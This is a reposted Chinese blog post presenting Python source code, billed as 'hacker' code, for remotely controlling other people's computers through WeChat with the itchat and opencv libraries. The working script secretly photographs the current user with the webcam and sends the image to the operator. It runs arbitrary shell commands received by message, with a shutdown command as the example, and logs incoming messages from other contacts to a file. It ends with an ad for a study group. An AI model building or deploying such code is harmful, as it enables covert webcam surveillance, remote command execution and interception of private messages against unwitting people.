【Python黑客】微信远程控制别人设备(拍照并发送过来和自动关机) 源代码

程序思路

这个小程序的实现也比较简单,主要用到了opencv和itchat库,其中opencv库是Python的一个第三方视觉库,它实现了图像处理和计算机视觉方面的很多通用算法,如果你需要做人脸识别或者二维码验证,你也许会用到这个库,总体来说这个第三方库很强大,感兴趣的读者可以参考度娘上的官方文档来进行学习。程序目前只添加了两个功能,一个是获取当前使用者的图像信息,通过 opencv 来调用电脑的摄像头,把当前使用电脑的用户拍照下来,发送到你的微信上。至于第二个功能远程关机是通过调用 os 库,发送 cmd 命名即可实现。当然你想实现你想要的特定的功能的话只需要添加特定的命令和相关的库即可。

import itchat
import os
import time
import cv2
 
sendMsg = u"{消息助手}:暂时无法回复"
usageMsg = u"使用方法:\n1.运行CMD命令:cmd xxx (xxx为命令)\n" \
           u"-例如关机命令:\ncmd shutdown -s -t 0 \n" \
           u"2.获取当前电脑用户:cap\n3.启用消息助手(默认关闭):ast\n" \
           u"4.关闭消息助手:astc"
flag = 0 #消息助手开关
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename, 'w')
 
@itchat.msg_register('Text')
def text_reply(msg):
    global flag
    message = msg['Text']
    fromName = msg['FromUserName']
    toName = msg['ToUserName']
 
    if toName == "filehelper":
        if message == "cap":
            cap = cv2.VideoCapture(0)
            ret, img = cap.read()
            cv2.imwrite("weixinTemp.jpg", img)
            itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper')
            cap.release()
        if message[0:3] == "cmd":
            os.system(message.strip(message[0:4]))
        if message == "ast":
            flag = 1
            itchat.send("消息助手已开启", "filehelper")
        if message == "astc":
            flag = 0
            itchat.send("消息助手已关闭", "filehelper")
    elif flag == 1:
        itchat.send(sendMsg, fromName)
        myfile.write(message)
        myfile.write("\n")
        myfile.flush()
 
if __name__ == '__main__':
    itchat.auto_login(hotReload=True)
    itchat.send(usageMsg, "filehelper")
    itchat.run()

小编推荐一个学python的学习群315346913。无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!群内有开发工具,很多干货和技术资料分享!

猜你喜欢

转载自blog.csdn.net/weixin_44995023/article/details/92601325